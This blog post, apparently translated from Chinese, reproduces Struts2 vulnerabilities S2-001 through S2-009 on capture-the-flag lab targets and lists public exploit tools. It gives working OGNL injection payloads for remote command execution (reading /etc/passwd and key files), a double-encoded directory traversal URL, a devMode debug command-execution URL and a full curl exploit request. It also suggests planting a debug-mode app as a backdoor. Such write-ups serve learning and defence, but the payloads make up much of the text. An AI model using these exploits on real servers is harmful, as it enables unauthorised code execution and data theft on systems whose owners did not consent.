banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Exploitation Reproduction of All Struts2 Versions Vulnerabilities (Long-term Update)

Cause of the Incident#

Familiarize yourself with the Struts2 vulnerability exploitation tools in the target environment.

Note: Simply using tools cannot deepen the understanding of vulnerabilities; familiarizing oneself with the principles of vulnerabilities is the key.

Tool Listing#

HatBoy's Struts2-Scan, taking a certain S2-001 target as an example:

image

Ghost Brother's struts2(CVE-2013-2251) vulnerability detection tool (90sec.org), also taking a certain S2-001 target as an example:

image

Lucifer1993's struts-scan, running garbled on windows, taking a certain S2-004 target as an example:

image

K8 team's K8_Struts2_EXP, here taking a certain S2-005 target as an example:

image

The password for the K8 team's tools is one of k8gege, k8team, K8team.

Tianrongxin's tool, here taking a certain S2-005 target as an example:

image

lz520520's tool railgun, here taking a certain target as an example:

The most commonly seen Srtuts2 Vulnerability Check Tool 2018 Version V2.0 by Anheng Emergency Response Center 20180824, here taking a certain target as an example:

S2-001#

Vulnerability Reason:

This vulnerability occurs because when a user submits form data and validation fails, the backend will parse the previously submitted parameter values using the OGNL expression %{value} and then refill them into the corresponding form data. For example, on registration or login pages, after submission fails, the backend generally defaults to returning the previously submitted data. Since the backend uses %{value} to execute an OGNL expression parsing on the submitted data, it is possible to directly construct a Payload for command execution.

Normal appearance of the target:

image

Input %{1+1} in the password field, click login, and find that the error returned is parsed as 2, proving the existence of the vulnerability.

Get the Tomcat execution path:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image

Get the Web path:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image

Execute command:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

If the command has parameters: new java.lang.String[]{"cat","/etc/passwd"}

Get the flag.

image

S2-004#

Directory Traversal Vulnerability

Vulnerability Introduction:

Struts2 Dispatcher Logic by Design allows serving certain static resources in the web application class path for the request URI, where the context-related path of the request URI starts with “/struts/”. The filterDispatcher (in 2.0) and defaultStaticContentLoader (in 2.1) have security vulnerabilities that allow attackers to use double-encoded URLs and relative paths to traverse the directory structure and download files outside the “static” content folder.
This indicates the presence of a file traversal vulnerability, where relative path traversal is done using ../../../, but requires double encoding, so ../ needs to be URL encoded twice to ..%252f.

Target practical operation:

image

According to the prompt, the key is on the showcase.jsp page, obtained through directory traversal:

URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

image

S2-005#

Remote Code Execution Vulnerability, Vulnerability ID: CVE-2010-1870
Affected Versions: 2.0.0 - 2.1.8.1

Principle (Reference Wu Hanqing's "White Hat Talks Web Security")

The origin of the s2-005 vulnerability comes from S2-003 (affected versions: below Struts 2.0.12). Struts2 will parse each HTTP parameter name as an OGNL statement for execution (which can be understood as Java code). OGNL expressions access Struts objects through #, and the Struts framework prevents security issues by filtering the # character. However, by using unicode encoding (\u0023) or octal (\43), the security restriction can be bypassed. For the S2-003 vulnerability, the official patched it by adding security configurations (prohibiting static method calls and class method executions, etc.), but the security configuration was bypassed, leading to the vulnerability again. Attackers can use OGNL expressions to enable these two options. The patch for S2-003 locked itself but left the key in the lock.

XWork will parse the keys and values of GET parameters into Java statements using OGNL expressions, for example: user.address.city=Bishkek&user['favoriteDrink']=kumys will be transformed into

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

Triggering the vulnerability exploits this point, combined with the OGNL sandbox bypass method, forming S2-003. The official fix for 003 was to add a security mode (sandbox), while S2-005 disables the security mode in the OGNL expression, thus bypassing the fix. The overall process is as follows:

S2-003 uses \u0023 to bypass s2's defense against #
S2-003 later had security mode (sandbox) added by the official
S2-005 uses OGNL expressions to disable the sandbox and continue executing code

Target practical operation:

The interface is quite well designed:

image

No echo POC:

action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

It can be roughly understood that in (aaa)(bbb), aaa acts as the OGNL expression string, and bbb acts as the root object of that expression. Therefore, if code execution is needed in the aaa position, it generally needs to be wrapped in quotes, while the bbb position can directly place Java statements. (aaa)(bbb)=true actually means aaa=true. However, how to understand it precisely still requires in-depth research and optimization.

The POC placed on tomcat8 returns 400. After research, it was found that characters \ and " cannot be directly placed in the path; they need to be urlencoded, and sending after encoding is fine. This POC has no echo.

I tried multiple times but still couldn't get it done. If I have the opportunity to encounter it again, I will try again; for now, I will use existing tools.

k8's command execution:

image

S2-007#

Vulnerability Type: Remote Code Execution Vulnerability
Vulnerability Reason: When the validation rule -validation.xml is configured, if the type validation conversion fails, the backend will default to concatenate the user-submitted form values as a string, then execute an OGNL expression parsing and return it. To successfully exploit, it is only necessary to find a form field configured with a similar validation rule that causes a conversion error, allowing injection of any OGNL expression using a method similar to SQLi injection single quote concatenation. This generally appears in forms.
Affected Versions: 2.0.0 - 2.2.3

Target reproduction:

image

Input a non-numeric type in the age field and click login.

image

image

The value in the age box changes to 11, proving the existence of the vulnerability. The EXP for executing arbitrary code:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '

After executing the command, if you can't see clearly, you can use ctrl+U to view the webpage source, and the final command is cat ../../../key.txt to get the key:

image

S2-008#

Vulnerability Type: Remote Code Execution Vulnerability
Affected Versions: 2.1.0 - 2.3.1
Vulnerability Principle:

S2-008 involves multiple vulnerabilities. Incorrect configuration of the Cookie interceptor can lead to execution of OGNL expressions. However, due to character restrictions on Cookie names in most web containers (such as Tomcat), some key characters cannot be used, making this point seem rather useless. Another rather useless point is that when the struts2 application is in devMode, there are multiple debugging interfaces that can directly view object information or execute commands. As Kxlzx mentioned, this situation is almost impossible in a production environment, making it seem quite useless. However, I believe it is not absolute; if hacked, it is possible to specifically deploy an application with debug mode enabled on the server as a backdoor. For example, in devMode, directly adding parameters ?debug=command&expression= will directly execute the following OGNL expression, thus allowing command execution (note escaping):

action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[command]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

Modifying the command within can yield the result file, which can be opened with Notepad for viewing.

Target reproduction:

Directly cat ../../../key.txt to view (note that after executing each command, the cache needs to be cleared; it is recommended to use a new private window for each command execution):

image

S2-009#

Vulnerability Type: Remote Code Execution Vulnerability
Affected Versions: 2.1.0 - 2.3.1.1
Vulnerability Principle:

Struts2's fix for s2-003 was to prohibit the # character, so s2-005 bypassed this by using encoding \u0023 or \43; thus, Struts2's fix for s2-005 was to prohibit \ and other special symbols, preventing users from submitting backslashes.

However, if the current action accepts a parameter example, this parameter will enter the OGNL context. Therefore, we can place the OGNL expression in the example parameter and then execute it using /helloword.acton?example=&(example)('xxx')=1, thus bypassing the official defense against #, \ and other special characters.

poc is as follows:

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[command]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

It needs to be submitted using the POST method.

Target reproduction:

image

The interface with the vulnerability is the fifth one: /ajax/example5.action, using HackBar to execute ls with the POST method:

image

If it cannot be executed successfully, then switch to burpsuite:

image

After several attempts with no success, finally use the curl command line tool to submit directly and save the result to a file:

curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt

image

Change the ls command to cat key.txt to get the flag:

image

Summary#

None yet.

Reference Articles:

End of article. (Just kidding)

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.